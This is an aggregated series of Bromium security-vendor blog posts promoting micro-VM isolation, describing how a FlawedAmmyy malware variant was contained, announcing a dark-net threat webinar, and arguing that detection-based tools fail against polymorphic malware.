However, even after adopting the ideal “deep” and “narrow” DID posture, i.e. a posture that contains many security layers and minimises the number of possible attack paths (attack surface), some attacks still succeed. Additionally, DID is expensive because attack success shares an inverse relationship with the number of heterogeneous technologies (security layers) used to defend a network. Therefore, achieving the most effective DID posture is only realistic for organisations that have security budgets large enough to afford many security technologies. Unfortunately, this means that small and medium-sized enterprises are least likely to benefit from DID. 

Protection First 

Bromium’s approach is to reduce the attack surface of the most common attack vectors so that organisations don’t need to increase the number of security layers in their networks to achieve better security. Bromium Secure Platform isolates user tasks on endpoints without disrupting the end user experience. For example, when a user clicks on an attachment containing a Word document, the document is opened inside a micro-VM, which has the same look and feel to the end user and with minimal impact on system performance.  

If a document is malicious, it is fully contained in a micro-VM and the host isn’t compromised. Each micro-VM is a replica of an endpoint, created to run a single task. We delete the micro-VM after the task is completed, for instance after closing the Word document. Opening each task in a micro-VM provides an additional benefit of capturing forensic data associated with a threat and provides detailed analysis to help security teams understand the adversary’s intentions by showing what the malware tried to do on the endpoint at the time of execution. 

FlawedAmmyy’s Encounter with Bromium 

Microsoft alerted the security community of a fresh campaign spreading a new variant of FlawedAmmyy. The variant is notable for running in directly memory and was delivered via an .xls file. But while many people were figuring out how to defend their organisations from this latest variant, for Bromium customers, it was just a regular day. Bromium Secure Platform protects against malware from untrusted files (e.g. from email attachments, removable media and downloads from the web) by isolating tasks inside micro-VMs.  

Below, is the video of the new FlawedAmmyy variant captured by Bromium Secure Platform. Since the malicious .xls file runs in a micro-VM, the host machine is protected from any malicious behaviour caused by opening the file.

Here’s what the video shows:

• Bromium Live View shows a list of active micro-VMs. 
• We can see in Live View that the malicious .xls file is opened in a micro-VM. 
• When the file is closed the micro-VM is destroyed, along with any malware. 
• Forensic information is captured from the threat, including any behaviour mapped to the MITRE ATT&CK framework.  
• A detailed view of high severity alerts raised during the lifetime of the micro-VM helps security teams to investigate the actions of the malware so that the motivations of the attacker can be understood. 

Figure 2 – Demonstration of new FlawedAmmyy variant.

Figure 3 – Process interaction graph captured from new FlawedAmmyy variant.

Figure 4 – High severity events raised during infection lifecycle.

Key Benefits of Bromium

• Every Bromium micro-VM is a honeypot that denies adversaries access to the host and their ability to move laterally. The guest mirrors the configuration of the host, using the same operating system, language, timezone, and version of Microsoft Office. This allows micro-VMs to closely mimic how the host would behave if it were compromised, turning them into a tool for deceiving adversaries, but with no risk of data loss. On multiple occasions we have upset red team engagements, who initially believe that they have compromised a host, only to discover after some frustration that their backdoors have been infecting a disposable micro-VM.
• Users are a weak link in security, and most people don’t understand the dangers lurking behind benign-looking email attachments and hyperlinks. It’s not fair to put the responsibility for attack prevention on the end-user. With Bromium, you don’t have to. Every untrusted hyperlink opens in a secure browser tab that is each contained within a micro-VM, helping to remove the guesswork from clicking on hyperlinks and attachments and lets users do their jobs unimpeded.
• Bromium saves organisations the incident response costs associated with containment, eradication and recovery.

Indicators of Compromise (IOCs) 

The post Protect Before You Detect: FlawedAmmyy and the Case for Isolation appeared first on Bromium.

The post Thousands of Facebook Users Hit in Malware Distribution Campaign appeared first on Bromium.

The post Dark web takedowns make good headlines, do little for security appeared first on Bromium.

• Dr. McGuire will present the findings of his new report: Behind the Dark Net Black Mirror: Threats Against the Enterprise
• Find out how the dark net presents a growing threat to the enterprise
• Learn practical strategies for protecting your assets and networks against dangers that lurk on the dark net

Register for the webinar

The dark net is the area of the Internet that can only be accessed by using special anonymizing browsers and search engines. It has acquired a sinister reputation for being a bustling marketplace for drugs and other illicit products and services. Once you figure out how to navigate its cavernous labyrinths, you can buy just about anything – from all types of counterfeit currency, to a fake diploma from an Ivy League school, or a lifetime subscription to Netflix.

But did you know that the dark net is rapidly becoming a hotbed for crime against the enterprise? As part of our popular Into the Web of Profit series, Bromium has commissioned a new study that looks into the growing threat that the dark net poses to the enterprise. The principal research was carried out by the renowned criminologist from the University of Surrey, Dr. Mike McGuire.

Join us tomorrow, Thursday, July 18 at 10am PDT / 1pm EDT, to hear Dr. McGuire live, as he presents the key findings of his new study in a webinar: Behind the Dark Net Black Mirror.

Register on BrightTalk

Kimberly Becan, Director of Product Marketing at Bromium will interview Dr. McGuire to ask about the new report’s most notable discoveries, his team’s investigative methods, and his recommendations on how today’s enterprises can better protect themselves against emerging threats on the dark net.

We hope you can join us for this insightful session.

All attendees will receive the full report, Behind the Dark Net Black Mirror: Threats Against the Enterprise.

The post Webinar Tomorrow: Dr McGuire Presents Findings from “Behind the Dark Net Black Mirror” Study appeared first on Bromium.

Back in 2013, General Keith Alexander of US Cyber Command sounded an alarm at a cybersecurity conference, alerting corporations and government agencies of an increased threat of cyberattacks. He called the billions of dollars in intellectual property flowing out of the country “the greatest transfer of wealth in history” and warned that unless we do something, the consequences would only intensify. “Mark my words,” he continued, “it’s going to get worse. The disruptive and destructive attacks on our country will get worse and if we don’t do something, the theft of intellectual property will get worse.”

Six years later, General Alexander’s warning rings truer than ever. It’s no longer “if” a breach is going to happen, it’s “when”, with thousands of companies getting hacked every year, compromising hundreds of millions of sensitive records and costing organizations millions in remediation and recovery efforts. According to Cybersecurity Ventures, cybercrime damages are expected to rise to $6 trillion annually by 2021 – a doubling from $3 trillion in 2015.

So, what’s being done about it? Ironically, as the number and severity of attacks continue to rise, so does the amount of money companies and governments spend on cybersecurity. According to new Gartner research, spending on information security will exceed $124 billion by the end of 2019. And yet, despite billions spent on detection, the greatest transfer of economic wealth in history is still going on. We can do better!

Detection-based tools alone can’t protect against polymorphic malware

It’s clear that simply throwing more money and resources at the problem is not solving the crisis. It’s time for organizations to fundamentally re-examine their approach to security, find out why their current tools still fail to protect, look beyond compliance and detection, and invest in innovative protection solutions that puts them strategically ahead of the attackers.

Most of today’s malware attacks are not sophisticated or targeted exploits created by state-sponsored hacking groups or highly organized criminal syndicates. They’re often opportunistic attempts orchestrated by petty criminals with the help of abundant hacking services and readily-available components available on the dark net. Yet these attacks continue to successfully, and rather easily, penetrate detection-based defenses by becoming polymorphic – constantly changing their signatures to keep antivirus and other malware detection tools from recognizing them as “known” threats.

Need more evidence? A May 2018 Security Week article suggests that as much as 98 percent of malware uses evasion techniques to circumvent detection – a finding corroborated by other research. Pattern-matching signature-based detection tools are frequently powerless against these polymorphic threats, unable to identify them until they have unleashed their payload. It’s also been over five years since a senior Symantec executive declared that “anti-virus is dead” and admitted that signature-based AV is only able to detect circa 45% of cyberattacks. While AI-based automated endpoint detection tools are gaining popularity, the fact is that even the most advanced, AI-based detection tools are still playing catch-up with polymorphic malware authors.

As AI-security vendors learn more about the malware, the malware learns about detection methods, adapting to the newest techniques with even smarter disguises and mutations. A number of cities, including Baltimore and Greenville, NC, have recently fallen victim to a strain of ransomware malware that slipped right past their next-gen antivirus tools because it was “new” and could not be matched to any known samples. Weeks later Baltimore is still struggling to free its computers from the clutches of ransomware, and It may take many months and millions of dollars to get essential city services and operations restored completely.

Bromium: protection before detection

One of the most frustrating problems among enterprise security teams is alert fatigue. Traditional security tools produce many false positives that trying to investigate even the most serious-looking ones is taking countless hours out of the SOC team’s day. At Bromium, we don’t rely on detection. The alerts generated by the Bromium Controller are overwhelmingly true-positive, legitimate malware attacks. The very fact that malware was able to get through detection tools and layered defenses and still find its way to the Bromium engine suggests that it’s a real threat and is worth looking into. First and foremost, however, Bromium is about protection. Our detection capabilities and threat telemetry are an excellent way to improve the organization’s overall security posture, but our main goal is to give our customers the peace of mind that no matter how new, rare, advanced, or polymorphic the malware is, their endpoints and networks are completely secure.

Bromium’s hardware-enforced containment technology isolates each task inside a disposable virtual machine. Bromium Secure Platform knows exactly what processes should be running inside each container when a user performs a specific task, such as opening a Word document, clicking on a link, or launching a web page. If malware is present, Bromium allows it to fully execute within a protected space of the virtual machine. There’s no danger of malware escaping from the confines of a self-contained and secure container, and no chance of it infecting the endpoint or spreading laterally across the network.

And since Bromium knows exactly what processes should be running inside each task-specific container, it’s easy for us to know when something has gone wrong. When a Word document is suddenly trying to establish a connection to a Command and Control center, that’s a sign for a Bromium Controller to turn on the “flight recorder”. Not only are we able to detect that malware is present, we can find out where it came from, what type of payload it was carrying, and how it intended to drop it. Indeed, we produce the full attack kill chain in real time – no manual post-event forensics required. So, even though Bromium doesn’t call itself a “detection” company, we provide some of the world’s most advanced and detailed threat telemetry to help the security community better understand the threats they are facing.

Getting ahead of attackers with Bromium Threat Sharing 

While some of the hacked corporations, municipalities, and government agencies refuse to pay the ransom, and publicly announce the fact that their networks and data have been compromised, many more prefer to quietly pay off the attackers and go about their business as if nothing had happened. So, when Bromium first launched the Threat Forwarding feature, even our own engineers were skeptical.

Who would want to openly (albeit anonymously) share their malware samples? Surprisingly, more than half of our customers immediately agreed to share details of the threats caught in isolation, granting Bromium analysts a wealth of detailed information that’s not available anywhere else. Malware that’s flagged by detection-based tools is not allowed to fully detonate and reveal its secrets. But since Bromium lets malware play out in its entirety inside the secure container, we’re able to compile a complete kill-chain analysis. The threat telemetry that Bromium collects is further enriched and analyzed using a combination of AI based automated techniques, and by the Bromium Labs Threat Research team. We then share the analysis and findings back with our customers to help them improve their defenses – even on devices that are not protected by Bromium.

Isolation is a powerful tool

Bromium’s significant and growing customer base in both global commercial organizations and state and federal governments confirms that application isolation movement is gathering momentum. Detection tools, while getting smarter, will never be able to protect you from 100% of threats, and given the growing volume of “drive-by” attacks and the easy availability of cheap hacking tools, letting just a few things through can lead to disastrous consequences.

Add to it the time required to chase false positives, the need for emergency patching and upgrading once a vulnerability has been identified, and the growing fatigue of security teams, and it’s evident that current approach to security needs to change. More and more organization choose protection before detection. Bromium is the pioneer and market leader in isolation-based security, with a proven track record and a fast-growing customer base. Visit us at Bromium.com or subscribe to our technical blog series and see for yourself how Bromium can protect your organization from threats that bypass other defenses.

The post We Spend Billions on Information Security, So Why do Companies Continue to get Owned? appeared first on Bromium.